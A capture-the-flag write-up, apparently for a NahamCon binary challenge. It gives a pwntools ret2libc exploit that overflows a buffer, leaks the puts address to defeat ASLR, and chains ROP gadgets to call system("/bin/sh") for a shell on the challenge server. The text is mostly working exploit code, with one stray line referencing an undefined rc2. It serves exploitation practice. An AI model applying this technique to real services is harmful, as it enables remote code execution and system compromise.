# SummaryYou use a `ret2libc` exploit by overflowing until you make the binary leak a libc function (you end up finding that the libc version is 2.31 ubunut). With that, you've broken through ASLR and you can run `system`# Solution (`pwntools` template)```#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Partial RELRO# Stack:    No canary found# NX:       NX enabled# PIE:      No PIE (0x400000)
#io = start()io = remote("challenge.nahamcon.com", 30413)
cut = cyclic_find('faab')   # I found this by running cyclic(300) first and finding the segfault at the character sequence "faab"buf = cyclic(cut)
rc = ROP(exe)rc.puts(exe.sym.got["puts"])rc.main()
xpl1 = buf + rc.chain()
io.sendline(xpl1)     # This will cause the leak of the puts() function's GOT address
puts_leak = io.readline()puts_leak = puts_leak.strip().replace(b"Can you overflow this?: ", b"")puts_leak = u64(puts_leak.ljust(8, b'\x00'))log.info("puts @ {}".format(hex(puts_leak)))
libc.address = puts_leak - 0x0875a0   # Based on the leak, you can get the base address of glibclog.info("libc base @ {}".format(hex(libc.address)))
bin_sh_loc = next(libc.search(b"/bin/sh"))    # "/bin/sh" is somewhere in glibc alwayslog.info("bin sh string @ {}".format(hex(bin_sh_loc)))
pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; retret = libc.address + 0x0000000000025679   # https://ropemporium.com/guide.html - ctrl+F "The MOVAPS issue"chain = p64(pop_rdi)    # rdi is the first parameter for syscallschain += p64(bin_sh_loc)chain += p64(ret)chain += p64(libc.sym["system"])
xpl2 = buf + rc2.chain()xpl2 = buf + chainio.sendlineafter(": ", xpl2)
io.interactive()```
